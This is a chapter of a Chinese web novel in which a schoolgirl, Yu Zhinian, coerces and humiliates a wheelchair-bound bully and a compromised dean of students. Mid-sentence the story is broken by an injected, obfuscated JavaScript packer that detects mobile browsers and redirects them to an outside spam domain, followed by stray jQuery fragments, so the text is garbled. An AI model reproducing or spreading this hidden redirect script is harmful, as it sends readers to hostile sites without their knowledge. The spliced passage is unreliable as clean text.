28. 照片
作品:《反派真千金死不悔改》 邱建业是个虎爸。
邱鹏的断腿按理说在医院再住上一个月都可以,然而虎爸邱建业表示:
你老子我小时候断了腿爬着都要去上学,你现在有轮椅有校医有家庭医生有保镖有能呼救的手机,条件不知道比你老子好了多少倍,居然想不去上学?
吵归吵,闹归闹,他还真没胆子和他爹再杠上。
一个亿的“投资”,邱鹏哪里敢说自己不去?他坐着轮椅就来了。
过了一个周末的春英氛围大变,原本他进了学校就会被狐朋狗友簇拥住,然而今天从他入校开始,每个人都若有似无地打量他,而后窃窃私语着,仿佛蚊蝇一样令人烦躁。
邱鹏只当是自己今天造型太别致,然而进了高三的大楼,总跟在他身边的那几个竟全都躲躲闪闪,就算不得已对上了眼神,也只是僵笑着不愿靠近。
更烦躁了。
他拧着眉头进了教室,却见到自己最不想见到的人——
余知念坐在他的座位上,托着脸竟在等他。
一时之间,他这头向来横冲直撞的野牛竟也起了暂退之心。
然而推他进来的那位岿然不动,甚至把他向前送了送。
他不满地转头盯着那个戴着墨镜的壮汉,壮汉把手松开,弯下腰:“少爷,先生说你以后就听余小姐的,我先撤了,您有急事可以按这个,我就在校门外守着。”
壮汉甚至怕他记不住,抓着邱鹏的手去摸轮椅扶手下的那个隐藏按钮。
邱鹏沉默了,好半天,他再次抬头咬牙切齿地问:“你们脑子有病吗?呼叫的按键藏下面?”
被雇佣来照看邱鹏的专业人士没有回话,毕竟他也觉得这个设计有些反人类,于是他干脆避而不答,转移话题地对余知念也鞠了一躬:“余小姐,我家少爷就拜托你了。”
“你拜托谁呢!我用得着拜托给她,我……你走什么!谁叫你走的!站住!你给我回来!喂!”
然而墨镜壮汉仿佛一个刷新的NPC,转眼就不见踪迹了。
邱鹏僵硬地转过头,一点儿都不想面对面前的疯子,他的嘴角连笑都扯不出来。
紧接着,就是对方卷着书,戏谑地拍着他的脸了。
他爹一定是疯了,竟然把自己交给对方,是真的要钱不要儿子了吗?
余知念看他一副憋屈的样子,又想到收入囊中的生产线,觉得邱鹏比以前好看多了,语气都亲切了不少:“怎么,见到我不高兴?”
邱鹏哪敢说话。
“别怕啊,我又不吃人。”
啊对对对,是不吃人,但杀人是吧?
哈哈,妈的,忘了给自己爹说这人是个杀人犯。
邱鹏憋了半天,说出来一句至今最遵纪守法的话:“你那是故意伤害,我可以报警的。”
“故意伤害?那你告我呀。”余知念十分法外狂徒地敲着桌子,“是不想吗?”
真报警了,最后被抓走的是谁还不一定呢。
邱鹏别过脸,看都不敢看余知念,自己生着闷气,越想越觉得憋屈。
他忽地抬起头想说什么,却被余知念抢先了。
“不谢谢我吗?”
哈!邱鹏差点一口气没上来。合着自己现在这样还要谢谢她?
“刘辰的事,要不是我你应该在局子里吧?”余知念随口一提似的,“我给你作证了呢,不该谢谢我?”
“你给我作证的?”
想到昨晚警察的问询,寒意就爬上他的脊背。
他喉结一滚,浑身发冷。
看来真得找个庙拜一拜了,面前一个杀过人的,身边一个杀了不少人的,邱鹏可不觉得自己是个多厉害的仙师,降得下这些大妖。
“毕竟……”她的声音高了一些,好叫那些竖起耳朵的都听个清楚,“刘辰那事不光和你没关系,还想靠转移地皮来让你背锅呢。”
邱鹏怔住了,他没想到唯一信他的居然是余知念。
“你……”
“真不谢谢我?”余知念拿起手机,好像要和谁联系,“这么没礼貌,我给警察叔叔说一声吧,有些话我想了想不太合适。”
邱鹏的心怦怦跳,他知道这事虽然和他没关系,但他那些破事要是被警察发现,虽然不用坐牢,但他爹那边一定是个大麻烦!
“你住手!”
他伸手要去抢余知念手机,可余知念只是把胳膊向后一撤手抬高,坐在轮椅的人就无可奈何了。
“你说说,邱叔叔多可怜啊,”余知念单手托着脸,像是在念台词,抑扬顿挫,声情并茂,“那样爱做慈善的人,自己儿子却是这种烂人,等他知道了……”
邱鹏冷汗都快要落下来。
这次出事家里指不定被余家抢了什么,再给他爹添麻烦,自己真就完了。
“别!”
邱鹏艰难地张了张嘴,在心里跟自己打气。反正那晚本来什么面子也没了,不就是一句谢谢!
“谢、谢!”
一字一顿的,不像是感谢,像是寻仇。
余知念迅速收回高举的手,漆黑的手机屏冲邱鹏晃了晃:“忘了说,我手机没开机。”
邱鹏:……
“不过下次说不定就开机了。”余知念炫耀一样,“邱叔叔真挺信任我的,给的都是私人联系方式呢。”
邱鹏自己联系邱建业都要过一下秘书的手,他不服气地咬牙:“你到底给我爸灌了什么迷魂汤!”
“也没什么,就是帮他把你这棵歪脖子树捋一捋,看能不能抻直。”
即便愚蠢如邱鹏,也会怀疑余知念是不是又有什么阴谋。
他警惕地问:“你到底想干什么?”
“答应了邱叔叔,那我肯定是要做到的,我这个人别的不说,诚信是真的诚信。”
余知念起身,邱鹏摸着扶手下的按键惊疑不定,就在他准备按下去的时候,余知念把他推到座位上,将轮椅卡好了。
“别紧张呀,”余知念嗔怪,“我可是留了你一条命呢,这么说来,是你欠我一条命的。”
在未来不到十天里,这家伙会被捅死呢,怎么不算是欠自己一条命?
“有点感恩之心,嗯?”余知念安置好他,“下个课间再见,别乱跑知道吗?”
不跑的是傻子!
但他在对方的俯视下微微后仰,那是个逃避的姿势,而后快速地点了点头。
人走了,狐朋狗友也听到了那句澄清,他们凑上来:“鹏哥……”
邱鹏紧张的肩颈终于放松,他没好气地骂:“这会儿知道找你鹏哥了?”
“嘿嘿,这不是有点误会吗?”
小跟班亲亲热热地给他捏肩。
“去去去,老子斗不过她还收拾不了你们了!”邱鹏把自己校园卡砸对方身上,“赶紧给我买点吃的,大清早没吃饭就来了,饿死了。”
接到饭卡的人喜笑颜开。
小跟班们家里管得严,一个月零花钱可不够他们花。
别的不说,邱鹏为人向来大方,春英的食堂有三个级别,拿到卡的可以跟着邱鹏蹭最贵的那档,就是群里,邱鹏还会时不时地发红包。
满意地在第一节课吃了早餐,下课铃刚响,邱鹏挥动手臂高喊:“快快快,赶紧推我走!我……”
“嗯,要去哪儿?”
“当然是离那个疯子……”邱鹏忽地抬头,脸跟变天似的,笑得谄媚又僵硬,“哈哈,好久不见啊余知念。”
余知念没说话,只是推着他向外走。
“干,干什么去?”邱鹏磕巴了一句,“学校里学生的任务是好好学习,我们就该钉在教室里认真听课,你看是不是能……”
放我回去?
“没关系,下节课不重要不用听。”
她竟然真推着他准备逃课了。
邱鹏一路被推进电梯,四楼的按键发亮,那里和高二的楼有联通,是他常走的一条道。
他想起了赵经纬。
“你要压着我去道歉?”
“你会道歉?”
邱鹏纠结了一下,就算道歉说不定能解了自己的燃眉之急,但……
“该你道歉的时候还没到,”余知念玩儿似的猛地把他一推丢开手,看他跟着轮椅漂移了一段才走过去再来,“别着急。”
谁会着急这种事!
被当做打水漂的小石子漂出去好几次,旋转漂移,邱鹏晕头转向了。
“余知念你脑子有病啊!”
邱鹏被压下去的气势又起来了。
他被娇惯纵容着长大,从来没有受过谁的气,就连在邱建业面前也是一个冥顽不灵的逆子,压着脾气装乖的绝不会是他。
于是他忘了自己的处境,敢对拿捏着他命脉的人大吼大叫,妄图如动物一样以此镇住对方。
那双手如他所愿地按住了把手,他还没来得及满意,忽地,她将他一把掀翻在地。
红发的少年扑倒在地,断腿的膝盖痛得冷汗直流,他愤怒仰头,不干不净的咒骂将要脱口而出,却被那双漆黑冰冷的、与那晚他将人往水中推去时的眼睛堵了回去。
余知念一脚踢开轮椅,寂静的楼层爆发了一声撞击的巨响。
早晨的阳光被窗户切割成平整的数块,她半张脸落上明亮的白金色,另外半张脸藏在阴影中。
余知念高高在上地俯视他,嘴角没有丝毫笑意。
明明没过去多久,可邱鹏愣是觉得有一把剑悬在头顶,时间被拉得很长,剑刃离他的脖子越来越近。
那毫无怜悯的行刑人忽然笑了。
“小邱,来,学声狗叫。”
邱鹏咽了口唾沫,他怀疑自己听错了:“什么?”
“我说,学声狗叫。”
“余知念!”
在教学楼巡逻的教导主任显然看到了这一幕,他甚至也听清楚了——这层楼是社团活动室专用,此刻一个人都没有。
端着保温杯的中年男人喊着名字气势汹汹,还端得一副好老师的样子,快步上前,体贴地扶起俯趴在地的邱鹏,将人安置到轮椅上,又轻轻拍去那校服上根本没有的灰。
他冲邱鹏露了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841233|175095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个笑,然后直起身板着脸,严厉地对余知念道:“怎么能欺负同学呢!”
“这是欺负同学吗?”余知念恍然大悟,她眉头舒展,略惊讶地微微张嘴,“邱鹏,我刚才是在欺负你吗?”
“余知念!你还敢威胁同学!”
邱鹏还没说话,教导主任先发飙了,他转过头给邱鹏一个安抚的眼神。
“你别怕,老师会给你主持公道。”
“主持公道?”余知念展颜一笑,“邱鹏你听见了,快说说你的冤屈呀!”
再怎么也反应过来对方是在耍自己了,教导主任难以置信地看向这个向来乖顺到极致的学生:“你说什么!”
“主任,”余知念冲中年男人笑,“你抢了赵经纬多少篇论文,眼见着他被欺负,当时不支持正义,现在是看我软柿子好捏吗?”
“余知念同学,你端正一下你的态度,竟敢污蔑老师!”
陡然被人得知了秘密,教导主任强忍心慌训斥她,“邱鹏同学,你有什么委屈现在就说出来,老师保证帮你帮到底!”
那最后几个字都是他咬着牙挤出来的。
在这个富贵无极的学校里当老师,他可太懂什么人一定要顺着什么人可以支配了!
余知念是私生女的传闻传得满天飞,虽然余家的面子不小,但邱鹏可是邱建业的独子!
把全部希望压在邱鹏身上,他在紧张中极力笑得和蔼,却不知道那僵硬的笑容难看极了。
可邱鹏的全部注意力都在余知念那里。
他已经在回想曾经的自己哪里来的勇气,敢招惹这么一个——
能从那么多事情里全身而退的孤儿,怎么可能是个简单的人?
她还说自己杀过人,自己查得那么细都没发现,可见那人八成被毁尸灭迹了!
红毛坐在轮椅上打了个抖,他垂下脑袋,终于学会了察言观色,闷闷地说:“没什么,闹着玩呢。”
没什么,闹着玩。
这是教导主任处理校园霸凌时最常听到的一句话,这句话常常出现在受害者的嘴里,又或者闹大了之后,邱鹏和他的嘴里。
可眼前不是闹大了后受害者求个公道,更像是……
教导主任有点发慌,他才发觉邱鹏的乖顺,后知后觉余知念是更需要被忌惮的人。
“教导主任不继续调解吗?”
少女笑意晏晏地问他,阴影里的半张脸因为上扬的嘴角好似残缺的面具。
他咽了口唾沫,冷汗直冒:“我……我……”
“不过也没关系了,”警笛声忽然响起,余知念弯了弯眼睛,“这位子也不是你的了。”
步履匆匆的警察与两个学生擦肩而过,黑色警服和大片雪白的学生制服于光影中交错成篇。
上课钟声恰时响起,它来自校园中心的一只古钟,声音悠长沉闷,一路穿透广阔的春英,将一切热闹一同带到天上。
仿佛按下删除键,三声钟响过后,学校里的鼎沸人声被瞬间清空,只留下一双轻巧的脚步音和轮子滚动的颤动。
余知念推着邱鹏一路漫步到那棵玉兰树下,花朵依旧繁盛,再也不会有人在灿烂的春光里敲她一闷棍,毕竟曾经拿着棍子的人现在还不良于行。
“小邱,叫。”
警察的忽然到来让邱鹏没回过神,他呆愣地回:“啊?”
“玉兰好看吗?”
“什么?”
晴空万里,余知念深呼吸一口气,清新的空气让她的心情十分愉快,她松开手,轮椅自然而然地开始动了。
坐在轮椅上的邱鹏猝不及防,他在斜坡上狼狈地想要掌控方向,可还是快要滑走了。
“余知念!余知念你……”
他不知道自己又哪里惹到了对方,但此刻校园空寂,他又陷入失控的无助里手足无措,对自己不熟悉的座驾毫无办法,他只能求助她,“余知念!”
唯一的稻草无动于衷,电光石火之间,邱鹏的脑子忽然反应过来,他大喊了一声:“汪!”
寂静的校园,那一声狗吠竟有了回响,好像真有一条狗急了在叫。
赏花的少女终于大发慈悲,轮椅再次被按住,被迫套上狗链的红毛恶鬼手忙脚乱地锁好轮子。
“对了小邱,我给你找了个新玩具,看看喜不喜欢。”
余知念从校服的衣兜里拿出一张照片,“你被保护得好,肯定没见过真恶人吧?见识见识,看看真恶人什么样。”
邱鹏碰也不敢碰,这套话数他再熟悉不过,毕竟以前自己相中了目标就是这么吩咐手下人的:“你不是个好人吗?你怎么……”
“我什么时候说要我是个好人了?”
余知念眼睛微睁,仿佛在看一个傻瓜。
“好人会毫不犹豫断了你的腿、烧了你的房、想要你的命,现在还想让你这个烂人当自己的狗?”
邱鹏哑口无言,他做贼一样一把抓走照片,看也没看就塞进兜里:“这谁?”
“陈铎生,”余知念像是将这名字嚼碎过很多遍,“余季清在泳队的小狗腿。”